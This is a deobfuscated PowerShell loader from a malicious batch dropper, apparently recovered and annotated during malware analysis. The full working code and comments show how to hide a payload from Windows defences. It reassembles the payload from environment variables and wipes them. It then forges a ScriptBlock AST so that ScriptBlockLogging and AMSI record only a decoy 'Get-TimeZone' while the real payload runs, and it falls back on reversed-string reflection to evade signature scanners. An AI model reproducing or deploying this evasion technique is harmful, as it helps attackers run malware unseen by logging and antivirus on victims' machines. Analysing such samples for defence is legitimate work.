# ============================================================================== # _nay -- PowerShell entry wrapper of 6pGtNaMpA.bat. # # This is what `powershell.exe -Command "& ([scriptblock]::Create($env:_nay))"` # actually runs. It does three things: # # 1. Concatenate the five payload env vars into one PowerShell source string. # 2. Wipe every loader env var (so a memory dumper after this point sees # no payload text in the env block). # 3. Forge a ScriptBlock whose Ast carries the malicious statements but # whose .Extent (the textual form PowerShell logs to ScriptBlockLogging # and 4104 events) reports the innocuous string 'Get-TimeZone' -- then # Invoke() that forged block. # # The forge step is the interesting part. Stock PowerShell's # ScriptBlockLogging (the Microsoft-Windows-PowerShell/Operational ETW # provider, event 4104) captures the *source text* of every block before # execution, by reading ScriptBlock.Ast.Extent. If we simply called # [scriptblock]::Create($payload).Invoke(), the entire decoded payload would # appear in event log 4104. By stitching together two scriptblocks -- decoy # .Extent + real .EndBlock -- the logged text is the decoy's source but the # executed IL is the real one. Sometimes called "AST-forge" or "Extent # spoofing": because both the 4104 log AND the AMSI ScanContent call derive # the text they record/scan from .Extent, both observe only `Get-TimeZone`. # # This file is byte-for-byte equivalent to the original _nay value after the # #-placeholder substitution; only the obfuscation tricks ('Cr'+'ea'+'te', # reversed strings, $_iv='Invoke' indirection) have been collapsed. # # ============================================================================== try { # ---------------------------------------------------------------------- # Reflective lookup of [scriptblock]::Create(string). # # Done via `{}.GetType()` instead of the literal `[scriptblock]` so # the source never contains the string "scriptblock" -- which is on # every AV's signature list. # ---------------------------------------------------------------------- $sbType = {}.GetType() # System.Management.Automation.ScriptBlock $sbCreate = $sbType.GetMethod('Create', [type[]]@([string])) if ($null -eq $sbCreate) { throw 'nc' } # ---------------------------------------------------------------------- # Decoy scriptblock. This will donate its .Extent (source text) and # its .Ast type to the forged block we build below. The string # 'Get-TimeZone' was chosen because it parses cleanly and is utterly # benign-looking in any log review. # ---------------------------------------------------------------------- $decoy = $sbCreate.Invoke($null, @('Get-TimeZone')) # ---------------------------------------------------------------------- # Assemble + wipe the payload. # # $env:_wcw + _iz + _a + _e + _jhd were each set by the BAT to a # fragment of PowerShell that, taken alone, doesn't parse. Joined in # this order they form the main loader script (see # decoded_powershell.deobf.ps1). # ---------------------------------------------------------------------- $payloadSrc = $env:_wcw + $env:_iz + $env:_a + $env:_e + $env:_jhd Remove-Item env:_wcw, env:_iz, env:_a, env:_e, env:_jhd, env:_nay ` -Force -EA SilentlyContinue $real = $sbCreate.Invoke($null, @($payloadSrc)) # ---------------------------------------------------------------------- # AST forge: # # ScriptBlockAst(IScriptExtent extent, <- from decoy [0] # ParamBlockAst paramBlock, [1] # NamedBlockAst beginBlock, [2] # NamedBlockAst processBlock, [3] # NamedBlockAst endBlock, <- from real [4] # NamedBlockAst dynamicParamBlock) [5] # # (The 6-arg overload has NO usingStatements parameter -- that exists # only in the 7- and 8-arg ScriptBlockAst ctors. The malware passes # $null for paramBlock/beginBlock/processBlock, so only extent[0] and # endBlock[4] actually carry data.) # # The 6-parameter ctor of ScriptBlockAst (positions 1 and 4 carry the # param/named-block-ast types) is identified by signature so we don't # hardcode the .NET Framework / Core variant difference. # ---------------------------------------------------------------------- $astType = $decoy.Ast.GetType() # ScriptBlockAst $endBlockPI = $real.Ast.GetType().GetProperty('EndBlock') if ($null -eq $endBlockPI) { throw 'ne' } $endBlockSrc = $endBlockPI.GetValue($real.Ast) if ($null -eq $endBlockSrc) { throw 'nv' } # NamedBlockAst.Copy() makes a deep clone we can re-parent into a new tree. $endBlockCopy = $endBlockSrc.GetType().GetMethod('Copy').Invoke( $endBlockSrc, $null) if ($null -eq $endBlockCopy) { throw 'nc2' } # Pick the right ScriptBlockAst ctor by parameter signature. $sbAstCtor = $null foreach ($c in $astType.GetConstructors()) { $p = $c.GetParameters() if ($p.Count -eq 6 -and $p[1].ParameterType.Name -eq 'ParamBlockAst' -and $p[4].ParameterType.Name -eq 'NamedBlockAst') { $sbAstCtor = $c break } } if ($null -ne $sbAstCtor) { # Build the chimera: decoy Extent + real EndBlock. $forgedAst = $sbAstCtor.Invoke( @($decoy.Ast.Extent, # [0] IScriptExtent - reports 'Get-TimeZone' $null, # [1] paramBlock $null, # [2] beginBlock $null, # [3] processBlock $endBlockCopy, # [4] endBlock - real payload $null)) # [5] dynamicParamBlock # Materialise the AST into a real ScriptBlock object. $getScriptBlock = $forgedAst.GetType().GetMethod('GetScriptBlock') if ($null -ne $getScriptBlock) { $forgedBlock = $getScriptBlock.Invoke($forgedAst, $null) $forgedBlock.Invoke() # malware runs; logs say 'Get-TimeZone' return } } # Fallback if reflection above failed: just run the real block. # ScriptBlockLogging will see the payload here. $sbCreate.Invoke($null, @($payloadSrc)).Invoke() } catch { # ---------------------------------------------------------------------- # Outer fallback. Reached only if even building $sbCreate fails. We # retry the same Create()+Invoke() but find the method via a # reversed-string ('etaerC' reversed = 'Create') so any signature # scanning for the literal "Create" still misses. # ---------------------------------------------------------------------- {}.GetType().GetMethod( ('etaerC'[-1..(-6)] -join ''), # 'Create' [type[]]@([string]) ).Invoke($null, @($payloadSrc)).Invoke() }